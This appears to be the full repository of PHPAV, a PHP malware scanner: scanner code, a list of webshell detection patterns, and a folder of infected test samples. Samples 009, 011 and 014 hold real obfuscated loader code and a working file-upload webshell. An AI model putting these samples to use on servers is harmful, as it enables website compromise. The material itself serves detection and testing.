├── .gitignore ├── .php_cs ├── .styleci.yml ├── .travis.yml ├── LICENSE ├── README.md ├── composer.json ├── data ├── webshells.txt └── whitelist.txt ├── fixtures └── samples │ └── infected │ ├── 001.php │ ├── 002.php │ ├── 003.php │ ├── 004.php │ ├── 005.php │ ├── 006.php │ ├── 007.php │ ├── 008.php │ ├── 009.php │ ├── 010.php │ ├── 011.php │ ├── 012.php │ ├── 013.php │ ├── 014.php │ ├── 015.php │ ├── 016.php │ ├── 017.php │ └── 018.php ├── lib └── color.class.php ├── phpav └── scan.php /.gitignore: -------------------------------------------------------------------------------- 1 | /vendor/ 2 | composer.lock 3 | .php_cs.cache 4 | -------------------------------------------------------------------------------- /.php_cs: -------------------------------------------------------------------------------- 1 | 11 | 12 | For the full copyright and license information, please view the LICENSE 13 | file that was distributed with this source code. 14 | EOF; 15 | 16 | // PHP-CS-Fixer 1.x 17 | if (class_exists('Symfony\CS\Fixer\Contrib\HeaderCommentFixer')) { 18 | \Symfony\CS\Fixer\Contrib\HeaderCommentFixer::setHeader($header); 19 | } 20 | 21 | $config = ConfigBridge::create() 22 | ->setUsingCache(true) 23 | ; 24 | 25 | // PHP-CS-Fixer 2.x 26 | if (method_exists($config, 'setRules')) { 27 | $config->setRules(array_merge($config->getRules(), array( 28 | 'header_comment' => array('header' => $header) 29 | ))); 30 | } 31 | 32 | return $config; 33 | -------------------------------------------------------------------------------- /.styleci.yml: -------------------------------------------------------------------------------- 1 | preset: symfony 2 | 3 | enabled: 4 | - newline_after_open_tag 5 | - ordered_use 6 | - long_array_syntax 7 | - php_unit_construct 8 | - php_unit_strict 9 | 10 | finder: 11 | exclude: 12 | - 'fixtures' 13 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | branches: 2 | only: 3 | - master 4 | 5 | language: php 6 | 7 | php: 8 | - '5.3' 9 | - '5.4' 10 | - '5.5' 11 | - '5.6' 12 | - '7.0' 13 | - nightly 14 | - hhvm 15 | 16 | sudo: false 17 | 18 | cache: 19 | directories: 20 | - $HOME/.composer/cache/files 21 | 22 | matrix: 23 | fast_finish: true 24 | allow_failures: 25 | - php: nightly 26 | - php: hhvm 27 | 28 | install: 29 | - npm install phplint 30 | - composer global require sllh/composer-lint:@stable --prefer-dist --no-interaction 31 | - composer install 32 | 33 | script: 34 | - composer validate 35 | - phplint '*.php' 'lib/**/*.php' 'fixtures/**/*.php' --suppress 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 SAS Nexylan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | PHPAV 2 | ===== 3 | 4 | PHP CLI Virus/Malware Scanner 5 | 6 | A simple console framework for detected infected PHP files among Web servers. 7 | 8 | @copyright [Nexylan.com](http://www.nexylan.com) - 2016 9 | 10 | Installation 11 | --- 12 | 13 | You can install it globally thanks to composer: 14 | 15 | ```bash 16 | composer global require nexylan/phpav 17 | ``` 18 | 19 | Usage 20 | --- 21 | ### via CLI 22 | 23 | ```bash 24 | phpav /path/to/scan 25 | ``` 26 | 27 | Inspiration 28 | --- 29 | 30 | ### Websites 31 | 32 | - [Malicious Code Scanner](https://github.com/mikestowe/Malicious-Code-Scanner) 33 | - [PHP Shell Detector](https://github.com/emposha/PHP-Shell-Detector) 34 | - [Obfuscalp](https://github.com/Orbixx/Obfuscalp) 35 | - [Tripwire](https://github.com/lucanos/Tripwire) 36 | - [Malicious](https://github.com/krismas/Malicious) 37 | 38 | ### Security informations 39 | 40 | - [How to Tell if Your PHP Site has been Hacked or Compromised](http://www.gregfreeman.org/2013/how-to-tell-if-your-php-site-has-been-compromised) 41 | - [Exploitable PHP functions](http://stackoverflow.com/questions/3115559/exploitable-php-functions) 42 | - [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image) 43 | 44 | TODO 45 | --- 46 | - Plugins management 47 | - Detect more shell scripts 48 | - Create whitelist database 49 | - Automatic fix/quarantine 50 | - Doc 51 | 52 | Disclaimer 53 | --- 54 | This software is provided "as is" without warranty of any kind, either express or implied, including but not limited to the implied warranties of merchantability and fitness for a particular purpose. In no event shall the author be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the author has been advised of the possibility of such damages. 55 | -------------------------------------------------------------------------------- /composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nexylan/phpav", 3 | "description": "PHP CLI Virus/Malware Scanner", 4 | "keywords": ["Virus", "Malware", "Infection", "Detector"], 5 | "type": "library", 6 | "license": "MIT", 7 | "authors": [ 8 | { 9 | "name": "Gaetan ALLART", 10 | "email": "gaetan@nexylan.com" 11 | }, 12 | { 13 | "name": "Sullivan SENECHAL", 14 | "email": "soullivaneuh@gmail.com" 15 | } 16 | ], 17 | "require": { 18 | "php": "^5.3 || ^7.0" 19 | }, 20 | "require-dev": { 21 | "sllh/php-cs-fixer-styleci-bridge": "^2.1" 22 | }, 23 | "autoload": { 24 | "files": [ 25 | "lib/color.class.php" 26 | ] 27 | }, 28 | "config": { 29 | "sort-packages": true 30 | }, 31 | "bin": ["phpav"] 32 | } 33 | -------------------------------------------------------------------------------- /data/webshells.txt: -------------------------------------------------------------------------------- 1 | killall -9 2 | FilesMan 3 | Hacked by d3b 4 | eval\(base64_decode\( 5 | "base" \. "64_decode" 6 | ; for\(\$i=0; \$i < strlen\( 7 | \?php \${ 8 | =\$GLOBALS;\${ 9 | \$GLOBALS\[\$GLOBALS\[' 10 | __FILE__\);global \$ 11 | ;exit\(\);}} 12 | if \(isset\(\$_COOKIE\["id"\]\)\) @\$_COOKIE\["user"\] 13 | "ev"."al\('" 14 |

#p@\$c@#<\/h1> 15 | =chr\(112\)\."\\x 16 | (\$[a-zA-Z]+\{[0-9]+\}\s\.\s){10} 17 | @\$_=\/\*\-\/ 18 | =Array\(\);global\$ 19 | @\$s_func 20 | izleyici 21 | -------------------------------------------------------------------------------- /data/whitelist.txt: -------------------------------------------------------------------------------- 1 | wp-content/cache/config/master.php 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/001.php: -------------------------------------------------------------------------------- 1 | killall -9 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/002.php: -------------------------------------------------------------------------------- 1 | FilesMan 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/003.php: -------------------------------------------------------------------------------- 1 | Hacked by d3b 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/004.php: -------------------------------------------------------------------------------- 1 | eval(base64_decode( 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/005.php: -------------------------------------------------------------------------------- 1 | "base" . "64_decode" 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/006.php: -------------------------------------------------------------------------------- 1 | ; for($i=0; $i < strlen( 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/007.php: -------------------------------------------------------------------------------- 1 | ?php ${ 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/008.php: -------------------------------------------------------------------------------- 1 | =$GLOBALS;${ 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/009.php: -------------------------------------------------------------------------------- 1 | ,$<99><93>,$<86><98><87>,$<90><82><9e><99>,$<9e><8b><8c><88><8d>,$<8b><9e><9b><93><81><8e>,$<9d><87><94><87><86><9c><92>,$<81><9a><86><84><93><9a><8c><8c>,$<82><9e><90><81><97><8e><8d><83><98>,$<9b><8f><97><97><83><99><86><81><81><9b>,$<89><89><97><9c><8b><92><82><91><86><9e><9f>,$<93><80><9d><83><82><94><93><90><99><8c><8c><89>,$<83><84><8d><9e><8b><8f>^?<86><99><89><9f><96><96>,$<91><9a><88><99><98><87><8c><99><84><91><9c><9a><85><8d>,$<94><92><9a><9e><97><9f><8b><95><8b><9c><95><92><96>^?<92>,$<8d><97><83><87><80><9e>^?<88><8b><9a><8e><9d><97><89><83><84>;function <81> ($<81> ,$<99><93> =""){global $<81>,$<99><93>,$<86><98><87>,$<90><82><9e><99>,$<9e><8b><8c><88><8d>,$<8b><9e><9b><93><81><8e>,$<9d><87><94><87><86><9c><92>,$<81><9a><86><84><93><9a><8c><8c>,$<82><9e><90><81><97><8e><8d><83><98>,$<9b><8f><97><97><83><99><86><81><81><9b>,$<89><89><97><9c><8b><92><82><91><86><9e><9f>,$<93><80><9d><83><82><94><93><90><99><8c><8c><89>,$<83><84><8d><9e><8b><8f>^?<86><99><89><9f><96><96>,$<91><9a><88><99><98><87><8c><99><84><91><9c><9a><85><8d>,$<94><92><9a><9e><97><9f><8b><95><8b><9c><95><92><96>^?<92>,$<8d><97><83><87><80><9e>^?<88><8b><9a><8e><9d><97><89><83><84>;if(empty($<99><93> )){return base64_decode($<81> );}else{return <81> ($<90><82><9e><99>($<81> ,$<99><93> ,$<81><9a><86><84><93><9a><8c><8c>($<99><93> )));}}$<90><82><9e><99>=<81> ("c3RydHI=<84>");$<81><9a><86><84><93><9a><8c><8c>=<81> ("c3RycmV2<8f>");$<99><93>=<81> ("eGUlZ19yZXBsYWNl<8a>","cJMHGTUe");$<8b><9e><9b><93><81><8e>=<81> ("XZXhbA==<94>","ZFUOyNX");$<82><9e><90><81><97><8e><8d><83><98>=<81> ("kJFzZTk0X2Rlk29Y<90>ZQ==<8a>","YJGmk");$<9b><8f><97><97><83><99><86><81><81><9b>=<81> ("x3p1bmNrbXBy<92>xXNz<95>","ZrYzsvx");$<89><89><97><9c><8b><92><82><91><86><9e><9f>=<81> ("IzLzYzAzM<8b>GVkMjA0ZT<8f>kxNjJlZTB<93>iYzQwMGFi<99>OGRhMjE5I<95>2U=<8c>","LJvRI");function <86><98><87> (&$<86><98><87> ){global $<81>,$<99><93>,$<86><98><87>,$<90><82><9e><99>,$<9e><8b><8c><88><8d>,$<8b><9e><9b><93><81><8e>,$<9d><87><94><87><86><9c><92>,$<81><9a><86><84><93><9a><8c><8c>,$<82><9e><90><81><97><8e><8d><83><98>,$<9b><8f><97><97><83><99><86><81><81><9b>,$<89><89><97><9c><8b><92><82><91><86><9e><9f>,$<93><80><9d><83><82><94><93><90><99><8c><8c><89>,$<83><84><8d><9e><8b><8f>^?<86><99><89><9f><96><96>,$<91><9a><88><99><98><87><8c><99><84><91><9c><9a><85><8d>,$<94><92><9a><9e><97><9f><8b><95><8b><9c><95><92><96>^?<92>,$<8d><97><83><87><80><9e>^?<88><8b><9a><8e><9d><97><89><83><84>;$<8d><97><83><87><80><9e>^?<88><8b><9a><8e><9d><97><89><83><84> =<81> ("fGll<82>","Zcderf");@$<99><93>($<89><89><97><9c><8b><92><82><91><86><9e><9f>,$<8b><9e><9b><93><81><8e>."(@$<9b><8f><97><97><83><99><86><81><81><9b>($<82><9e><90><81><97><8e><8d><83><98>('eNpl0mtvmlAYA<94>OC/YggfIKOtDr<82>Ux5mSbXV11Rqv<92>WgW6LEZROK8RV<89>52VrYxHrZai13<82>hAvlJ86DlYbu4<89>/n5XkP7+WgIhB<97>1DAlRDiFO+2tx^?+gpoCIGkopwQD<91>iG4G23N26aonv^?nzCZur5KWnkVz<83>qAwBzg7En3nil<86>Cpkm9zp9EwbIL<8b>9kAGamN4PfzFO<8d>WvlgJQrNuTdms<9a>1Mk0pFiwyZPDi<82>r2ES/EUlHytBM<82>r5bS43JeKj2el<90>3TlekfFeaT66o<89>cBmAA7Ukx+zFd<8c>hlZq9jX5od5Su<8b>0+zmYk9vKvioe<9f>xmYYnwaYg6K1x<8c>6IH1cdNR5u6c2<89>H1eL+02RVSpsu<8c>zcc4/sZiXFmB5<8f>PRQlOe5Km8mo5<9d>m9U2dLJ8vsnSw<8b>kOFjAPaT+Hwdp<85>Vio+4rUvtPqHX<9c>kxWCtdqWnynOD<92>Px6kwaEIa9Z2X<9a>f2VzEIs6SCa9v<9f>sBpMunOchicKY<85>YcYYdv3uHfsCO<84>EMACBqmMdx/+g<82>w4am6gCevtq+u<8f>28z+WJmFxR19y<9c>0qa8uxODBOexP<83>ANoawINfMbh8G<80>el0nts0nXjf8f<9d>AP+sqqd3d6HPV<87>9LHNiOcQC2wf3<88>5Ynt2l2IlDsi3<88>+CHiYtiMM+1IM<95>dZjJ8Na7RzDkd<82>a01clwaZa1s2m<8c>EcOC4+QPLzY3l<99>v/p1bPMmdfAeX<93>T4oiqS2RHGJoQ<97>1tKCqDvjQ3p2t<85>2sQvpoJTlMzDx^?JcPcl0AWbEyQL<96>zO0pyasaP43fB<92>KJywAfzMUFY4r<89>/AEHEOJY=<83>')));","<8b><91><89> 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/011.php: -------------------------------------------------------------------------------- 1 | \x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"]('|',$l1yy7Ue[0]);$l1k=isset($l1yy7Ue[1])?${"\x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"](',',$l1yy7Ue[1]):array();$l1eL2=$l12yU;$l18I3=$l1TdZPC;$l1Hu544="http://$l1AB5Cc";$l1jQF74=$l1Hu544.${"\x5f\x53\x45R\x56\x45R"}["\x52\x45\x51U\x45\x53\x54\x5f\x55\x52I"];$l1j=isset(${"\x5f\x53\x45R\x56\x45R"}["\x53\x43\x52\x49\x50\x54_\x4e\x41M\x45"])?${"\x5f\x53\x45R\x56\x45R"}["\x53\x43R\x49\x50\x54\x5f\x4e\x41\x4dE"]:'';if($l1j==''){$l1j=isset(${"\x5f\x53\x45\x53\x53\x49\x4fN"}["\x53\x43\x52IP\x54\x5f\x46\x49L\x45N\x41\x4d\x45"])?${"\x5f\x53\x45\x53\x53\x49\x4fN"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]:'';if($l1j!=''){$l1j=${"\x47\x4c\x4f\x42A\x4cS"}["O\x30\x4f\x30\x30\x30\x4f\x4f\x4f0"]($l18X,'',$l1j);}}if($l1j!=''){$l1j=${"\x47LO\x42\x41\x4c\x53"}["OO\x30\x4f\x30\x30"]($l1j,1);$l1t=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x4f\x30\x30\x4f\x30\x30\x4f"]($l1j,'/');$l1oIT=$l1t!==false?${"\x47LO\x42\x41\x4c\x53"}["OO\x30\x4f\x30\x30"]($l1j,0,$l1t):'';$l1qvrc=$l1t!==false?${"\x47LO\x42\x41\x4c\x53"}["OO\x30\x4f\x30\x30"]($l1j,$l1t+1):$l1j;}$l1J=$l1J=='?'?"$l1qvrc?":$l1J;$l1jt6Qn=${"\x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"]('|',${"\x47\x4c\x4f\x42\x41L\x53"}["O\x4f0\x4fO"]);$l1jt6Qn[]=$l1qvrc;$l1r=false;$l1K0n83=$l1FwUS.${"G\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x30"];$l1K0n83=${"\x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"]('|',$l1K0n83);$l1NK=$l1MB6=${"\x5f\x53\x45R\x56\x45R"}["\x52\x45\x51\x55\x45S\x54\x5f\x55\x52\x49"];foreach($l1K0n83 as$l1gYxHO){$l1MB6=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x4fB\x41LS"}["\x4f\x30\x4f\x4f\x30"].$l1gYxHO.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f0\x4f\x30\x4fO\x4f0"],'',$l1MB6);}$l1MB6=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"G\x4cO\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x300\x4f\x4f\x4f\x4fO"],'',$l1MB6);$l1MB6=$l1oIT!=''?${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x4f\x42A\x4c\x53"}["\x4f\x30\x4fO\x4f\x4f\x30"](${"G\x4c\x4f\x42A\x4c\x53"}["\x4f\x30\x30\x4f00"],l1m9LqQ($l1oIT)),'',$l1MB6):$l1MB6;$l1MB6=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"]("/^($l1qvrc)?\?/si",'',$l1MB6);$l1m9Lq=$l1oIT!=''?${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x4f\x42A\x4c\x53"}["\x4f\x30\x4fO\x4f\x4f\x30"](${"\x47L\x4f\x42\x41\x4cS"}["\x4fO\x4f\x30\x30\x4f\x4f\x4f"],l1m9LqQ($l1oIT)),'',$l1NK):$l1NK;$l17=${"\x47\x4c\x4fB\x41\x4c\x53"}["\x4f0\x30\x4f0\x30\x30\x4f\x4f\x4f\x30"]($l1m9Lq,'?');$l1m9Lq=$l17!==false?${"\x47LO\x42\x41\x4c\x53"}["OO\x30\x4f\x30\x30"]($l1m9Lq,0,$l17+1):'';$l1m9Lq=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"G\x4cO\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x300\x4f\x4f\x4f\x4fO"],'',$l1m9Lq);$l14=l1m9LqQ($l1MB6);$l1b2=false;$l1Aj=false;$l19=${"\x47L\x4f\x42\x41L\x53"}["\x4f\x4f\x4f\x30O\x300\x4f\x30\x30O"];$l1ETA='';$l1v=0;$l15u4=false;$l1nGVqV=1;$l1qa=10000;$l1wpDIL=0;$l1id=0;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"]("/\.xml$/si",$l1MB6)){$l1b2=true;$l1UTh=${"\x47\x4c\x4f\x42\x41\x4cS"}["\x4f\x30\x30\x30\x4f\x30\x4f\x300"]('/',$l1MB6);$l1PL=${"\x47\x4c\x4f\x42A\x4c\x53"}["O0\x4f\x30\x4f00\x30\x4f\x30\x4f"]($l1UTh);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"]("/([^\d]+)(\d+)\.xml$/si",$l1PL,$l1a)){$l19=$l1a[1];$l1v=$l1a[2];}else{$l19=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47LO\x42\x41\x4c\x53"}["\x4f0\x4f\x4f0O"],"$1",$l1PL);}if(!empty($l1UTh)&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"]("/^([a-z])?(\d+)$/si",$l1UTh[${"\x47\x4c\x4f\x42ALS"}["O\x4f\x4f\x4f\x4f\x4f\x4f\x30\x4f\x30O"]($l1UTh)-1],$l1DE)){if(${"\x47\x4c\x4f\x42ALS"}["O\x4f\x4f\x4f\x4f\x4f\x4f\x30\x4f\x30O"]($l1DE)==3){$l1nGVqV=$l1DE[2];if($l1DE[1]=='s'){$l1id=1;}elseif($l1DE[1]=='g'){$l1id=2;}}else{$l1nGVqV=$l1nGVqV[0];}${"\x47\x4c\x4f\x42A\x4c\x53"}["O0\x4f\x30\x4f00\x30\x4f\x30\x4f"]($l1UTh);}if(!empty($l1UTh)&&${"\x47\x4cO\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x4f\x30"]($l1UTh[${"\x47\x4c\x4f\x42ALS"}["O\x4f\x4f\x4f\x4f\x4f\x4f\x30\x4f\x30O"]($l1UTh)-1])){$l1qa=${"\x47\x4c\x4f\x42A\x4c\x53"}["O0\x4f\x30\x4f00\x30\x4f\x30\x4f"]($l1UTh);$l15u4=true;}if(!empty($l1UTh)){$l1ETA=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x4f\x30"]('/',$l1UTh);}if(($l1ETA!=''&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"](${"\x47\x4cO\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f0"],$l1ETA))||$l1PL==${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x4f\x30\x30\x30\x4f\x4fO\x4f\x4f"]){$l1Aj=true;}$l1wpDIL=$l1v==1?1:(($l1qa+1)*($l1v-1)*$l1nGVqV);$l1wpDIL=$l1wpDIL<0?0:$l1wpDIL;}if(!$l1b2&&$l1MB6!=''){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4fOO"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x30\x4f"],$l1MB6)){$l1vkL=${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x4f\x30\x4f"],'',$l1MB6);if(${"G\x4c\x4f\x42\x41\x4c\x53"}["\x4fO\x4f\x30\x4f\x30\x30\x4f\x4f"]($l1vkL)&&!${"\x47LOB\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x30\x30O\x4f0\x30"]($l1vkL,$l1jt6Qn)){require($l1vkL);exit();}}}$l1n=${"G\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x30\x30\x4f\x30\x4f\x4f0"](${"\x47\x4c\x4f\x42\x41L\x53"}["\x4f\x30\x4f\x30\x30O\x30O\x4f"](${"\x47\x4c\x 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/012.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /fixtures/samples/infected/014.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | utf 5 | 6 | 7 | #p@$c@#

\n"; 9 | echo "Your IP: "; 10 | echo $_SERVER['REMOTE_ADDR']; 11 | echo "
\n"; 12 | echo "
\n"; 13 | echo "
\n"; 14 | echo "
\n"; 15 | if(is_uploaded_file/*;*/($_FILES["filename"]["tmp_name"])) 16 | { 17 | move_uploaded_file/*;*/($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]); 18 | $file = $_FILES/*;*/["filename"]["name"]; 19 | echo "$file"; 20 | } else { 21 | echo("empty"); 22 | } 23 | $filename = $_SERVER[SCRIPT_FILENAME]; 24 | touch/*;*/($filename, $time); 25 | ?> 26 | 27 | 28 | -------------------------------------------------------------------------------- /fixtures/samples/infected/015.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /fixtures/samples/infected/018.php: -------------------------------------------------------------------------------- 1 | 7 | * 8 | * For the full copyright and license information, please view the LICENSE 9 | * file that was distributed with this source code. 10 | */ 11 | 12 | class Colors 13 | { 14 | private $foreground_colors = array(); 15 | private $background_colors = array(); 16 | 17 | public function __construct() 18 | { 19 | // Set up shell colors 20 | $this->foreground_colors['black'] = '0;30'; 21 | $this->foreground_colors['dark_gray'] = '1;30'; 22 | $this->foreground_colors['blue'] = '0;34'; 23 | $this->foreground_colors['light_blue'] = '1;34'; 24 | $this->foreground_colors['green'] = '0;32'; 25 | $this->foreground_colors['light_green'] = '1;32'; 26 | $this->foreground_colors['cyan'] = '0;36'; 27 | $this->foreground_colors['light_cyan'] = '1;36'; 28 | $this->foreground_colors['red'] = '0;31'; 29 | $this->foreground_colors['light_red'] = '1;31'; 30 | $this->foreground_colors['purple'] = '0;35'; 31 | $this->foreground_colors['light_purple'] = '1;35'; 32 | $this->foreground_colors['brown'] = '0;33'; 33 | $this->foreground_colors['yellow'] = '1;33'; 34 | $this->foreground_colors['light_gray'] = '0;37'; 35 | $this->foreground_colors['white'] = '1;37'; 36 | 37 | $this->background_colors['black'] = '40'; 38 | $this->background_colors['red'] = '41'; 39 | $this->background_colors['green'] = '42'; 40 | $this->background_colors['yellow'] = '43'; 41 | $this->background_colors['blue'] = '44'; 42 | $this->background_colors['magenta'] = '45'; 43 | $this->background_colors['cyan'] = '46'; 44 | $this->background_colors['light_gray'] = '47'; 45 | } 46 | 47 | // Returns colored string 48 | public function getColoredString($string, $foreground_color = null, $background_color = null) 49 | { 50 | $colored_string = ''; 51 | 52 | // Check if given foreground color found 53 | if (isset($this->foreground_colors[$foreground_color])) { 54 | $colored_string .= "\033[".$this->foreground_colors[$foreground_color].'m'; 55 | } 56 | // Check if given background color found 57 | if (isset($this->background_colors[$background_color])) { 58 | $colored_string .= "\033[".$this->background_colors[$background_color].'m'; 59 | } 60 | 61 | // Add string and end coloring 62 | $colored_string .= $string."\033[0m"; 63 | 64 | return $colored_string; 65 | } 66 | 67 | // Returns all foreground color names 68 | public function getForegroundColors() 69 | { 70 | return array_keys($this->foreground_colors); 71 | } 72 | 73 | // Returns all background color names 74 | public function getBackgroundColors() 75 | { 76 | return array_keys($this->background_colors); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /phpav: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env php 2 | 7 | * 8 | * For the full copyright and license information, please view the LICENSE 9 | * file that was distributed with this source code. 10 | */ 11 | 12 | ini_set('memory_limit', '512M'); 13 | 14 | require_once __DIR__.'/vendor/autoload.php'; 15 | // We are Gentoo users, we love color in bash shell :) 16 | $colors = new Colors(); 17 | 18 | // Detect more than 10000 consecutive characters on first line 19 | function detect_obfuscated($filecontent) 20 | { 21 | $weirdlength = 1000; 22 | //if (isset($filecontent[1]) && strlen($filecontent[1]) > $weirdlength && preg_match("/[A-Za-z0-9\\\]{$weirdlength}/",$filecontent[1])) { // If a line contains more than 10,000 characters, write it to stdout 23 | for ($line = 0; $line <= 1; ++$line) { 24 | if (isset($filecontent[$line]) && strlen($filecontent[$line]) > $weirdlength) { // If a line contains more than 10,000 characters, write it to stdout 25 | return true; 26 | } 27 | } 28 | 29 | return false; 30 | } 31 | 32 | // Detect eval functions on first line 33 | function detect_onelineshell($filecontent) 34 | { 35 | $lines = 3; 36 | for ($i = 0; $i < $lines; ++$i) { 37 | if (isset($filecontent[$i]) && preg_match("/(eval[\s]*\(|system\(|\\\x)/", $filecontent[$i])) { 38 | return true; 39 | } 40 | } 41 | if (isset($filecontent[count($filecontent) - 1]) && preg_match("/(eval\(|system\()/", $filecontent[count($filecontent) - 1])) { 42 | return true; 43 | } 44 | 45 | return false; 46 | } 47 | 48 | // Detect php files in upload folder 49 | function detect_upload($filename) 50 | { 51 | if (preg_match('#/wp-content/uploads#', $filename) && filesize($filename) > 1024) { 52 | return true; 53 | } 54 | 55 | return false; 56 | } 57 | 58 | // Detect webshells patterns 59 | function detect_shell($filecontent) 60 | { 61 | global $shells; 62 | 63 | foreach ($shells as $shell) { 64 | $shell = trim($shell); 65 | if (preg_match("/$shell/", implode($filecontent))) { 66 | return true; 67 | } 68 | } 69 | 70 | return false; 71 | } 72 | 73 | // Check whitelist 74 | function in_whitelist($filename) 75 | { 76 | global $whitelist; 77 | 78 | foreach ($whitelist as $wl) { 79 | if (false !== strpos($filename, trim($wl))) { 80 | return true; 81 | } 82 | } 83 | 84 | return false; 85 | } 86 | 87 | // Display a report of infected file 88 | function report_file($file, $reason) 89 | { 90 | global $colors; 91 | 92 | if (!in_whitelist($file)) { 93 | echo $colors->getColoredString("Infected file (reason : $reason) :\n", 'red'); 94 | echo $colors->getColoredString("\t$file\n", 'light_blue'); 95 | } 96 | } 97 | 98 | // Delete the infected file with/without confirmation 99 | function delete_file($file, $content, $confirmation) 100 | { 101 | global $colors; 102 | 103 | echo $colors->getColoredString("This file ($file) containing the following code :\n", 'cyan'); 104 | echo "\t".$content."\n"; 105 | 106 | if ($confirmation) { 107 | echo $colors->getColoredString('Delete ? (y/n)', 'cyan'); 108 | $handle = fopen('php://stdin', 'r'); 109 | $input = fgets($handle); 110 | 111 | if (trim($input) == 'y') { 112 | unlink($file); 113 | } else { 114 | echo "$input"; 115 | } 116 | } else { 117 | unlink($file); 118 | } 119 | } 120 | 121 | // Propose and apply patch 122 | function patch_file($file, $content) 123 | { 124 | global $colors; 125 | 126 | $newfile = preg_replace("/^.*<\?php/", ' fix.patch"); 134 | 135 | if (filesize('fix.patch') > 0) { 136 | $diff = file('fix.patch'); 137 | echo $colors->getColoredString("I'm proposing the following patch. What do you think ?\n", 'cyan'); 138 | 139 | echo "\n".implode($diff)."\n"; 140 | 141 | echo $colors->getColoredString('Apply ? (y/n)', 'cyan'); 142 | $handle = fopen('php://stdin', 'r'); 143 | $input = fgets($handle); 144 | if (trim($input) == 'y') { 145 | exec("patch $file 